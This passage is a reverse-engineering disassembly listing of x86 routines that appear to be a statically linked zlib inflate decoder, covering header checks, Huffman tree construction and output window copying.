loc_50D0C3: ; CODE XREF: sub_50D043+A3j ; sub_50D043+237j mov eax, [esi+1Ch] mov dword ptr [eax+4], 5 jmp short loc_50D079 ; --------------------------------------------------------------------------- loc_50D0CF: ; CODE XREF: sub_50D043+75j mov ecx, [eax+4] shr ecx, 4 add ecx, 8 cmp ecx, [eax+10h] jbe short loc_50D0E8 mov [eax], edi mov dword ptr [esi+18h], offset aInvalidWindowS ; "invalid window size" jmp short loc_50D0C3 ; --------------------------------------------------------------------------- loc_50D0E8: ; CODE XREF: sub_50D043+98j mov dword ptr [eax], 1 loc_50D0EE: ; CODE XREF: sub_50D043+43j ; DATA XREF: _5:off_50D36Eo mov eax, [esi+4] ; jumptable 0050D086 case 1 test eax, eax jz loc_50D27F mov ecx, [ebp+arg_4] dec eax inc dword ptr [esi+8] mov [esi+4], eax mov eax, [esi] mov [ebp+arg_0], ecx mov ecx, [esi+1Ch] push 1Fh movzx ebx, byte ptr [eax] inc eax xor edx, edx mov [esi], eax mov eax, [ecx+4] shl eax, 8 add eax, ebx pop edi div edi test edx, edx jz short loc_50D142 push 0Dh mov ebx, [ebp+arg_0] pop edi mov [ecx], edi mov eax, [esi+1Ch] mov dword ptr [esi+18h], offset aIncorrectHeade ; "incorrect header check" mov dword ptr [eax+4], 5 jmp loc_50D079 ; --------------------------------------------------------------------------- loc_50D142: ; CODE XREF: sub_50D043+DFj test bl, 20h jnz loc_50D286 mov ebx, [ebp+arg_0] mov dword ptr [ecx], 7 jmp loc_50D076 ; --------------------------------------------------------------------------- loc_50D159: ; CODE XREF: sub_50D043+43j ; DATA XREF: _5:off_50D36Eo push ebx ; jumptable 0050D086 case 7 push esi push dword ptr [eax+14h] call sub_50BC4B mov ebx, eax add esp, 0Ch cmp ebx, 0FFFFFFFDh jnz short loc_50D17E mov eax, [esi+1Ch] mov [eax], edi mov eax, [esi+1Ch] and dword ptr [eax+4], 0 jmp loc_50D079 ; --------------------------------------------------------------------------- loc_50D17E: ; CODE XREF: sub_50D043+128j test ebx, ebx jnz short loc_50D185 mov ebx, [ebp+arg_4] loc_50D185: ; CODE XREF: sub_50D043+13Dj cmp ebx, 1 jnz loc_50D27F mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] lea ecx, [eax+4] push ecx push esi push dword ptr [eax+14h] call sub_50BB53 mov eax, [esi+1Ch] add esp, 0Ch cmp dword ptr [eax+0Ch], 0 jz short loc_50D1B8 mov dword ptr [eax], 0Ch jmp loc_50D079 ; --------------------------------------------------------------------------- loc_50D1B8: ; CODE XREF: sub_50D043+168j mov dword ptr [eax], 8 loc_50D1BE: ; CODE XREF: sub_50D043+43j ; DATA XREF: _5:off_50D36Eo mov eax, [esi+4] ; jumptable 0050D086 case 8 test eax, eax jz loc_50D27F dec eax inc dword ptr [esi+8] mov ecx, [esi+1Ch] mov [esi+4], eax mov eax, [esi] mov ebx, [ebp+arg_4] movzx eax, byte ptr [eax] shl eax, 18h mov [ecx+8], eax mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 9 loc_50D1EC: ; CODE XREF: sub_50D043+43j ; DATA XREF: _5:off_50D36Eo mov eax, [esi+4] ; jumptable 0050D086 case 9 test eax, eax jz loc_50D27F mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] shl ecx, 10h add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 0Ah loc_50D21A: ; CODE XREF: sub_50D043+43j ; DATA XREF: _5:off_50D36Eo mov eax, [esi+4] ; jumptable 0050D086 case 10 test eax, eax jz short loc_50D27F mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] shl ecx, 8 add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 0Bh loc_50D244: ; CODE XREF: sub_50D043+43j ; DATA XREF: _5:off_50D36Eo mov eax, [esi+4] ; jumptable 0050D086 case 11 test eax, eax jz short loc_50D27F mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov ecx, [eax+4] cmp ecx, [eax+8] jz loc_50D35D mov [eax], edi mov dword ptr [esi+18h], offset aIncorrectDataC ; "incorrect data check" jmp loc_50D0C3 ; --------------------------------------------------------------------------- loc_50D27F: ; CODE XREF: sub_50D043+4Fj ; sub_50D043+B0j ... mov eax, ebx jmp loc_50D358 ; --------------------------------------------------------------------------- loc_50D286: ; CODE XREF: sub_50D043+102j mov eax, [esi+1Ch] mov ebx, [ebp+arg_0] mov dword ptr [eax], 2 loc_50D292: ; CODE XREF: sub_50D043+43j ; DATA XREF: _5:off_50D36Eo mov eax, [esi+4] ; jumptable 0050D086 case 2 test eax, eax jz short loc_50D27F dec eax inc dword ptr [esi+8] mov ecx, [esi+1Ch] mov [esi+4], eax mov eax, [esi] mov ebx, [ebp+arg_4] movzx eax, byte ptr [eax] shl eax, 18h mov [ecx+8], eax mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 3 loc_50D2BC: ; CODE XREF: sub_50D043+43j ; DATA XREF: _5:off_50D36Eo mov eax, [esi+4] ; jumptable 0050D086 case 3 test eax, eax jz short loc_50D27F mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] shl ecx, 10h add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 4 loc_50D2E6: ; CODE XREF: sub_50D043+43j ; DATA XREF: _5:off_50D36Eo mov eax, [esi+4] ; jumptable 0050D086 case 4 test eax, eax jz short loc_50D27F mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] mov ebx, [ebp+arg_4] shl ecx, 8 add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov dword ptr [eax], 5 loc_50D310: ; CODE XREF: sub_50D043+43j ; DATA XREF: _5:off_50D36Eo mov eax, [esi+4] ; jumptable 0050D086 case 5 test eax, eax jz loc_50D27F mov ecx, [esi] dec eax inc dword ptr [esi+8] mov [esi+4], eax movzx ecx, byte ptr [ecx] mov eax, [esi+1Ch] push 2 add [eax+8], ecx mov eax, [esi+1Ch] inc dword ptr [esi] mov ecx, [eax+8] mov [esi+30h], ecx mov dword ptr [eax], 6 jmp short loc_50D357 ; --------------------------------------------------------------------------- loc_50D342: ; CODE XREF: sub_50D043+43j ; DATA XREF: _5:off_50D36Eo mov eax, [esi+1Ch] ; jumptable 0050D086 case 6 mov [eax], edi mov eax, [esi+1Ch] mov dword ptr [esi+18h], offset aNeedDictionary ; "need dictionary" and dword ptr [eax+4], 0 loc_50D355: ; CODE XREF: sub_50D043+Dj ; sub_50D043+16j ... push 0FFFFFFFEh ; default loc_50D357: ; CODE XREF: sub_50D043+2FDj ; sub_50D043+325j ... pop eax loc_50D358: ; CODE XREF: sub_50D043+23Ej pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_50D35D: ; CODE XREF: sub_50D043+228j mov eax, [esi+1Ch] mov dword ptr [eax], 0Ch loc_50D366: ; CODE XREF: sub_50D043+43j ; DATA XREF: _5:off_50D36Eo push 1 ; jumptable 0050D086 case 12 jmp short loc_50D357 ; --------------------------------------------------------------------------- loc_50D36A: ; CODE XREF: sub_50D043+43j ; DATA XREF: _5:off_50D36Eo push 0FFFFFFFDh ; jumptable 0050D086 case 13 jmp short loc_50D357 sub_50D043 endp ; --------------------------------------------------------------------------- off_50D36E dd offset loc_50D08D ; DATA XREF: sub_50D043+43r dd offset loc_50D0EE ; jump table for switch statement dd offset loc_50D292 dd offset loc_50D2BC dd offset loc_50D2E6 dd offset loc_50D310 dd offset loc_50D342 dd offset loc_50D159 dd offset loc_50D1BE dd offset loc_50D1EC dd offset loc_50D21A dd offset loc_50D244 dd offset loc_50D366 dd offset loc_50D36A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50D3A6 proc near ; CODE XREF: sub_50BC4B+3C5p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi mov esi, [ebp+arg_10] push 4 push 13h push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch mov [ebp+arg_10], eax test eax, eax jnz short loc_50D3CB push 0FFFFFFFCh pop eax jmp short loc_50D422 ; --------------------------------------------------------------------------- loc_50D3CB: ; CODE XREF: sub_50D3A6+1Ej push ebx push eax lea eax, [ebp+var_4] push eax push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_8] push 0 push 0 push 13h push 13h push [ebp+arg_0] call sub_50D425 mov ebx, eax add esp, 28h cmp ebx, 0FFFFFFFDh jnz short loc_50D3FD mov dword ptr [esi+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"... jmp short loc_50D414 ; --------------------------------------------------------------------------- loc_50D3FD: ; CODE XREF: sub_50D3A6+4Cj cmp ebx, 0FFFFFFFBh jz short loc_50D40A mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jnz short loc_50D414 loc_50D40A: ; CODE XREF: sub_50D3A6+5Aj push 0FFFFFFFDh mov dword ptr [esi+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree" pop ebx loc_50D414: ; CODE XREF: sub_50D3A6+55j ; sub_50D3A6+62j push [ebp+arg_10] push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx mov eax, ebx pop ecx pop ebx loc_50D422: ; CODE XREF: sub_50D3A6+23j pop esi leave retn sub_50D3A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50D425 proc near ; CODE XREF: sub_50D3A6+3Fp ; sub_50D7AC+52p ... var_F0 = dword ptr -0F0h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 0F0h mov ecx, [ebp+arg_0] push ebx push esi push edi mov edi, [ebp+arg_4] xor edx, edx mov [ebp+var_74], edx mov [ebp+var_70], edx mov [ebp+var_6C], edx mov [ebp+var_68], edx mov [ebp+var_64], edx mov [ebp+var_60], edx mov [ebp+var_5C], edx mov [ebp+var_58], edx mov [ebp+var_54], edx mov [ebp+var_50], edx mov [ebp+var_4C], edx mov [ebp+var_48], edx mov [ebp+var_44], edx mov [ebp+var_40], edx mov [ebp+var_3C], edx mov [ebp+var_38], edx mov esi, edi loc_50D46B: ; CODE XREF: sub_50D425+54j mov eax, [ecx] add ecx, 4 inc [ebp+eax*4+var_74] lea eax, [ebp+eax*4+var_74] dec esi jnz short loc_50D46B cmp [ebp+var_74], edi jnz short loc_50D491 mov eax, [ebp+arg_14] mov [eax], edx mov eax, [ebp+arg_18] mov [eax], edx loc_50D48A: ; CODE XREF: sub_50D425+36Fj ; sub_50D425+379j xor eax, eax loc_50D48C: ; CODE XREF: sub_50D425+382j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_50D491: ; CODE XREF: sub_50D425+59j mov edi, [ebp+arg_18] push 1 pop ebx lea eax, [ebp+var_70] mov esi, [edi] mov ecx, ebx mov [ebp+arg_18], esi loc_50D4A1: ; CODE XREF: sub_50D425+87j cmp [eax], edx jnz short loc_50D4AE inc ecx add eax, 4 cmp ecx, 0Fh jbe short loc_50D4A1 loc_50D4AE: ; CODE XREF: sub_50D425+7Ej cmp esi, ecx mov [ebp+var_4], ecx jnb short loc_50D4B8 mov [ebp+arg_18], ecx loc_50D4B8: ; CODE XREF: sub_50D425+8Ej push 0Fh lea esi, [ebp+var_38] pop eax loc_50D4BE: ; CODE XREF: sub_50D425+A3j cmp [esi], edx jnz short loc_50D4CA dec eax sub esi, 4 cmp eax, edx jnz short loc_50D4BE loc_50D4CA: ; CODE XREF: sub_50D425+9Bj cmp [ebp+arg_18], eax mov [ebp+var_18], eax jbe short loc_50D4D5 mov [ebp+arg_18], eax loc_50D4D5: ; CODE XREF: sub_50D425+ABj mov esi, [ebp+arg_18] shl ebx, cl cmp ecx, eax mov [edi], esi jnb short loc_50D4F6 lea esi, [ebp+ecx*4+var_74] loc_50D4E4: ; CODE XREF: sub_50D425+CFj sub ebx, [esi] js loc_50D61C inc ecx add esi, 4 shl ebx, 1 cmp ecx, eax jb short loc_50D4E4 loc_50D4F6: ; CODE XREF: sub_50D425+B9j mov esi, eax shl esi, 2 mov edi, [ebp+esi+var_74] lea ecx, [ebp+esi+var_74] sub ebx, edi mov [ebp+var_30], ebx js loc_50D61C add edi, ebx mov [ebp+var_B0], edx mov [ecx], edi xor ecx, ecx dec eax jz short loc_50D530 xor edi, edi loc_50D51F: ; CODE XREF: sub_50D425+109j add ecx, [ebp+edi+var_70] add edi, 4 dec eax mov [ebp+edi+var_B0], ecx jnz short loc_50D51F loc_50D530: ; CODE XREF: sub_50D425+F6j mov ebx, [ebp+arg_0] xor edi, edi loc_50D535: ; CODE XREF: sub_50D425+136j mov eax, [ebx] add ebx, 4 cmp eax, edx jz short loc_50D557 mov ecx, [ebp+eax*4+var_B4] mov edx, [ebp+arg_24] lea eax, [ebp+eax*4+var_B4] mov [edx+ecx*4], edi inc ecx mov [eax], ecx xor edx, edx loc_50D557: ; CODE XREF: sub_50D425+117j inc edi cmp edi, [ebp+arg_4] jb short loc_50D535 mov eax, [ebp+esi+var_B4] mov ebx, [ebp+arg_18] or [ebp+var_8], 0FFFFFFFFh mov [ebp+arg_4], eax mov eax, [ebp+arg_24] mov [ebp+var_C], edx mov [ebp+var_10], eax mov eax, [ebp+var_4] neg ebx cmp eax, [ebp+var_18] mov [ebp+var_B4], edx mov [ebp+var_F0], edx mov [ebp+var_1C], edx mov [ebp+arg_0], edx jg loc_50D791 mov edi, [ebp+var_24] lea ecx, [eax-1] lea eax, [ebp+eax*4+var_74] mov [ebp+var_2C], ecx mov [ebp+var_20], eax loc_50D5A7: ; CODE XREF: sub_50D425+366j mov eax, [ebp+var_20] mov eax, [eax] mov ecx, eax dec eax test ecx, ecx mov [ebp+var_14], eax jz loc_50D77B loc_50D5BA: ; CODE XREF: sub_50D425+350j mov eax, [ebp+arg_18] add eax, ebx cmp [ebp+var_4], eax jle loc_50D6A6 loc_50D5C8: ; CODE XREF: sub_50D425+279j mov ecx, [ebp+arg_18] inc [ebp+var_8] add eax, ecx add ebx, ecx mov [ebp+var_34], eax mov eax, [ebp+var_18] sub eax, ebx cmp eax, ecx mov [ebp+arg_0], eax jbe short loc_50D5E4 mov [ebp+arg_0], ecx loc_50D5E4: ; CODE XREF: sub_50D425+1BAj mov ecx, [ebp+var_4] mov edx, [ebp+var_14] push 1 sub ecx, ebx pop eax shl eax, cl inc edx cmp eax, edx jbe short loc_50D623 mov esi, [ebp+var_20] or edx, 0FFFFFFFFh sub edx, [ebp+var_14] add eax, edx cmp ecx, [ebp+arg_0] jnb short loc_50D623 loc_50D606: ; CODE XREF: sub_50D425+1F5j inc ecx cmp ecx, [ebp+arg_0] jnb short loc_50D623 mov edx, [esi+4] add esi, 4 shl eax, 1 cmp eax, edx jbe short loc_50D623 sub eax, edx jmp short loc_50D606 ; --------------------------------------------------------------------------- loc_50D61C: ; CODE XREF: sub_50D425+C1j ; sub_50D425+E3j ... push 0FFFFFFFDh jmp loc_50D7A6 ; --------------------------------------------------------------------------- loc_50D623: ; CODE XREF: sub_50D425+1CFj ; sub_50D425+1DFj ... mov eax, [ebp+arg_20] push 1 pop edx mov eax, [eax] shl edx, cl mov [ebp+arg_0], edx lea esi, [eax+edx] cmp esi, 5A0h ja short loc_50D61C mov edx, [ebp+arg_1C] lea eax, [edx+eax*8] mov edx, [ebp+var_8] mov [ebp+var_1C], eax lea edx, [ebp+edx*4+var_F0] mov [edx], eax mov eax, [ebp+arg_20] mov [eax], esi mov eax, [ebp+var_8] test eax, eax jz short loc_50D690 mov esi, [ebp+var_C] mov edi, [ebp+var_1C] mov [ebp+eax*4+var_B4], esi mov eax, [ebp+arg_18] mov byte ptr [ebp+var_28], cl mov ecx, ebx mov byte ptr [ebp+var_28+1], al sub ecx, eax mov eax, esi shr eax, cl mov ecx, [edx-4] mov edx, [ebp+var_28] sub edi, ecx sar edi, 3 sub edi, eax mov [ecx+eax*8], edx mov [ecx+eax*8+4], edi jmp short loc_50D698 ; --------------------------------------------------------------------------- loc_50D690: ; CODE XREF: sub_50D425+235j mov eax, [ebp+arg_14] mov ecx, [ebp+var_1C] mov [eax], ecx loc_50D698: ; CODE XREF: sub_50D425+269j mov eax, [ebp+var_34] cmp [ebp+var_4], eax jg loc_50D5C8 xor edx, edx loc_50D6A6: ; CODE XREF: sub_50D425+19Dj mov al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_4] sub al, bl mov byte ptr [ebp+var_28+1], al mov eax, [ebp+arg_24] lea ecx, [eax+ecx*4] mov eax, [ebp+var_10] cmp eax, ecx jb short loc_50D6C4 mov byte ptr [ebp+var_28], 0C0h jmp short loc_50D6FB ; --------------------------------------------------------------------------- loc_50D6C4: ; CODE XREF: sub_50D425+297j mov eax, [eax] cmp eax, [ebp+arg_8] jnb short loc_50D6DF cmp eax, 100h mov edi, eax sbb cl, cl and cl, 0A0h add cl, 60h mov byte ptr [ebp+var_28], cl jmp short loc_50D6F7 ; --------------------------------------------------------------------------- loc_50D6DF: ; CODE XREF: sub_50D425+2A4j sub eax, [ebp+arg_8] mov ecx, [ebp+arg_10] shl eax, 2 mov cl, [eax+ecx] add cl, 50h mov byte ptr [ebp+var_28], cl mov ecx, [ebp+arg_C] mov edi, [eax+ecx] loc_50D6F7: ; CODE XREF: sub_50D425+2B8j add [ebp+var_10], 4 loc_50D6FB: ; CODE XREF: sub_50D425+29Dj mov ecx, [ebp+var_4] mov eax, [ebp+var_C] push 1 sub ecx, ebx pop esi shl esi, cl mov ecx, ebx shr eax, cl cmp eax, [ebp+arg_0] jnb short loc_50D72F mov ecx, [ebp+var_1C] lea ecx, [ecx+eax*8] loc_50D717: ; CODE XREF: sub_50D425+306j mov edx, [ebp+var_28] add eax, esi mov [ecx], edx mov edx, esi shl edx, 3 mov [ecx+4], edi add ecx, edx cmp eax, [ebp+arg_0] jb short loc_50D717 xor edx, edx loc_50D72F: ; CODE XREF: sub_50D425+2EAj mov ecx, [ebp+var_2C] push 1 pop eax shl eax, cl mov ecx, [ebp+var_C] loc_50D73A: ; CODE XREF: sub_50D425+31Dj test eax, ecx jz short loc_50D744 xor ecx, eax shr eax, 1 jmp short loc_50D73A ; --------------------------------------------------------------------------- loc_50D744: ; CODE XREF: sub_50D425+317j xor ecx, eax mov eax, [ebp+var_8] mov [ebp+var_C], ecx lea eax, [ebp+eax*4+var_B4] loc_50D753: ; CODE XREF: sub_50D425+346j push 1 mov ecx, ebx pop esi shl esi, cl dec esi and esi, [ebp+var_C] cmp esi, [eax] jz short loc_50D76D dec [ebp+var_8] sub eax, 4 sub ebx, [ebp+arg_18] jmp short loc_50D753 ; --------------------------------------------------------------------------- loc_50D76D: ; CODE XREF: sub_50D425+33Bj mov eax, [ebp+var_14] dec [ebp+var_14] test eax, eax jnz loc_50D5BA loc_50D77B: ; CODE XREF: sub_50D425+18Fj inc [ebp+var_4] add [ebp+var_20], 4 mov eax, [ebp+var_4] inc [ebp+var_2C] cmp eax, [ebp+var_18] jle loc_50D5A7 loc_50D791: ; CODE XREF: sub_50D425+16Cj cmp [ebp+var_30], edx jz loc_50D48A cmp [ebp+var_18], 1 jz loc_50D48A push 0FFFFFFFBh loc_50D7A6: ; CODE XREF: sub_50D425+1F9j pop eax jmp loc_50D48C sub_50D425 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50D7AC proc near ; CODE XREF: sub_50BC4B+56Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi mov esi, [ebp+arg_20] push 4 push 120h push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch mov [ebp+arg_20], eax test eax, eax jnz short loc_50D7D7 push 0FFFFFFFCh pop eax jmp loc_50D8AC ; --------------------------------------------------------------------------- loc_50D7D7: ; CODE XREF: sub_50D7AC+21j push ebx push edi push eax lea eax, [ebp+var_4] push eax mov ebx, [ebp+arg_0] push [ebp+arg_1C] mov edi, 101h push [ebp+arg_C] push [ebp+arg_14] push offset dword_50E12C push offset dword_50E0B0 push edi push ebx push [ebp+arg_8] call sub_50D425 add esp, 28h test eax, eax jnz short loc_50D87E mov eax, [ebp+arg_C] cmp dword ptr [eax], 0 jz short loc_50D891 push [ebp+arg_20] lea eax, [ebp+var_4] push eax mov eax, [ebp+arg_8] push [ebp+arg_1C] lea eax, [eax+ebx*4] push [ebp+arg_10] push [ebp+arg_18] push offset dword_50E220 push offset dword_50E1A8 push 0 push [ebp+arg_4] push eax call sub_50D425 add esp, 28h test eax, eax jnz short loc_50D854 mov eax, [ebp+arg_10] cmp dword ptr [eax], 0 jnz short loc_50D850 cmp ebx, edi ja short loc_50D875 loc_50D850: ; CODE XREF: sub_50D7AC+9Ej xor edi, edi jmp short loc_50D89D ; --------------------------------------------------------------------------- loc_50D854: ; CODE XREF: sub_50D7AC+96j cmp eax, 0FFFFFFFDh jnz short loc_50D862 mov dword ptr [esi+18h], offset aOversubscrib_0 ; "oversubscribed distance tree" jmp short loc_50D89B ; --------------------------------------------------------------------------- loc_50D862: ; CODE XREF: sub_50D7AC+ABj cmp eax, 0FFFFFFFBh jnz short loc_50D870 mov dword ptr [esi+18h], offset aIncompleteDist ; "incomplete distance tree" jmp short loc_50D898 ; --------------------------------------------------------------------------- loc_50D870: ; CODE XREF: sub_50D7AC+B9j cmp eax, 0FFFFFFFCh jz short loc_50D89B loc_50D875: ; CODE XREF: sub_50D7AC+A2j mov dword ptr [esi+18h], offset aEmptyDistanceT ; "empty distance tree with lengths" jmp short loc_50D898 ; --------------------------------------------------------------------------- loc_50D87E: ; CODE XREF: sub_50D7AC+5Cj cmp eax, 0FFFFFFFDh jnz short loc_50D88C mov dword ptr [esi+18h], offset aOversubscrib_1 ; "oversubscribed literal/length tree" jmp short loc_50D89B ; --------------------------------------------------------------------------- loc_50D88C: ; CODE XREF: sub_50D7AC+D5j cmp eax, 0FFFFFFFCh jz short loc_50D89B loc_50D891: ; CODE XREF: sub_50D7AC+64j mov dword ptr [esi+18h], offset aIncompleteLite ; "incomplete literal/length tree" loc_50D898: ; CODE XREF: sub_50D7AC+C2j ; sub_50D7AC+D0j push 0FFFFFFFDh pop eax loc_50D89B: ; CODE XREF: sub_50D7AC+B4j ; sub_50D7AC+C7j ... mov edi, eax loc_50D89D: ; CODE XREF: sub_50D7AC+A6j push [ebp+arg_20] push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx mov eax, edi pop ecx pop edi pop ebx loc_50D8AC: ; CODE XREF: sub_50D7AC+26j pop esi leave retn sub_50D7AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50D8AF proc near ; CODE XREF: sub_50BC4B+D6p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, ds:dword_50F120 mov [eax], ecx mov eax, [ebp+arg_4] mov ecx, ds:dword_50F124 mov [eax], ecx mov eax, [ebp+arg_8] mov dword ptr [eax], offset dword_50F128 mov eax, [ebp+arg_C] mov dword ptr [eax], offset dword_510128 xor eax, eax pop ebp retn sub_50D8AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50D8DE proc near ; CODE XREF: sub_50BC4B+1F0p ; sub_50BC4B+846p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_0] push esi mov esi, [ebp+arg_4] mov edx, [ebx+30h] push edi mov edi, [ebx+34h] mov eax, [esi+0Ch] cmp edx, edi mov [ebp+var_8], eax mov [ebp+arg_0], edx jbe short loc_50D902 mov edi, [ebx+2Ch] loc_50D902: ; CODE XREF: sub_50D8DE+1Fj mov eax, [esi+10h] sub edi, edx cmp edi, eax mov [ebp+var_4], edi jbe short loc_50D913 mov [ebp+var_4], eax mov edi, eax loc_50D913: ; CODE XREF: sub_50D8DE+2Ej test edi, edi jz short loc_50D921 cmp [ebp+arg_8], 0FFFFFFFBh jnz short loc_50D921 and [ebp+arg_8], 0 loc_50D921: ; CODE XREF: sub_50D8DE+37j ; sub_50D8DE+3Dj add [esi+14h], edi sub eax, edi mov [esi+10h], eax mov eax, [ebx+38h] test eax, eax jz short loc_50D943 push edi push edx push dword ptr [ebx+3Ch] call eax mov edx, [ebp+arg_0] mov [ebx+3Ch], eax add esp, 0Ch mov [esi+30h], eax loc_50D943: ; CODE XREF: sub_50D8DE+50j mov ecx, edi mov edi, [ebp+var_8] mov eax, ecx mov esi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, [ebp+var_4] add [ebp+var_8], eax add [ebp+arg_0], eax and ecx, 3 rep movsb mov eax, [ebx+2Ch] cmp [ebp+arg_0], eax jnz short loc_50D9DC mov edx, [ebx+28h] cmp [ebx+34h], eax mov [ebp+arg_0], edx jnz short loc_50D977 mov [ebx+34h], edx loc_50D977: ; CODE XREF: sub_50D8DE+94j mov esi, [ebp+arg_4] mov edi, [ebx+34h] sub edi, edx mov eax, [esi+10h] mov [ebp+var_4], edi cmp edi, eax jbe short loc_50D98E mov [ebp+var_4], eax mov edi, eax loc_50D98E: ; CODE XREF: sub_50D8DE+A9j test edi, edi jz short loc_50D99C cmp [ebp+arg_8], 0FFFFFFFBh jnz short loc_50D99C and [ebp+arg_8], 0 loc_50D99C: ; CODE XREF: sub_50D8DE+B2j ; sub_50D8DE+B8j add [esi+14h], edi sub eax, edi mov [esi+10h], eax mov eax, [ebx+38h] test eax, eax jz short loc_50D9BE push edi push edx push dword ptr [ebx+3Ch] call eax mov edx, [ebp+arg_0] mov [ebx+3Ch], eax add esp, 0Ch mov [esi+30h], eax loc_50D9BE: ; CODE XREF: sub_50D8DE+CBj mov ecx, edi mov edi, [ebp+var_8] mov eax, ecx mov esi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, [ebp+var_4] add [ebp+var_8], eax and ecx, 3 add [ebp+arg_0], eax rep movsb loc_50D9DC: ; CODE XREF: sub_50D8DE+89j mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] pop edi pop esi mov [eax+0Ch], ecx mov eax, [ebp+arg_0] mov [ebx+30h], eax mov eax, [ebp+arg_8] pop ebx leave retn sub_50D8DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50D9F3 proc near ; CODE XREF: sub_500C5C+32Cp var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h mov eax, [ebp+arg_8] push esi mov esi, [ebp+arg_4] mov [ebp+var_38], eax mov eax, [ebp+arg_C] and [ebp+var_18], 0 mov [ebp+var_34], eax mov eax, [ebp+arg_0] and [ebp+var_14], 0 mov [ebp+var_2C], eax mov eax, [esi] push edi mov [ebp+var_28], eax push 38h lea eax, [ebp+var_38] push offset byte_50F0A8 push eax call sub_50D02B add esp, 0Ch test eax, eax jnz short loc_50DA6E lea eax, [ebp+var_38] push 4 push eax call sub_50D043 mov edi, eax pop ecx cmp edi, 1 pop ecx jz short loc_50DA5F lea eax, [ebp+var_38] push eax call sub_50CF00 test edi, edi pop ecx jnz short loc_50DA5B push 0FFFFFFFBh pop eax jmp short loc_50DA6E ; --------------------------------------------------------------------------- loc_50DA5B: ; CODE XREF: sub_50D9F3+61j mov eax, edi jmp short loc_50DA6E ; --------------------------------------------------------------------------- loc_50DA5F: ; CODE XREF: 